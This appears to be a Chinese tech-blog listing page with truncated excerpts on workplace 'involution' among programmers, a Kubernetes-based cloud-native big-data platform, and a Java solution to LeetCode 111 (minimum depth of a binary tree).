内卷&#xff0c;是现在热度非常高的一个词汇&#xff0c;随着热度不断攀升&#xff0c;隐隐到了“万物皆可卷”的程度。 在程序员职场上&#xff0c;什么样的人最让人反感呢? 是技术不好的人吗?并不是。技术不好的同事&#xff0c;我们可以帮他。 是技术太强的人吗?也不…

真正的云原生大数据平台,让Kubernetes又牛了一把

作为一款开源的容器编排引擎&#xff0c;始于2014年的 Kubernetes 一经推出就受到了开发者的喜爱&#xff0c;谁也不曾想到它会取得如此大的成功。如今&#xff0c;在云原生技术发展的浪潮中&#xff0c;Kubernetes 作为容器编排领域的事实标准和云原生领域的关键项目&#xff…

LeetCode-111. 二叉树的最小深度

目录题目分析递归法题目来源111. 二叉树的最小深度题目分析 这道题目容易联想到104题的最大深度&#xff0c;把代码搬过来 class Solution {public int minDepth(TreeNode root) {return dfs(root);}public static int dfs(TreeNode root){if(root null){return 0;}int left…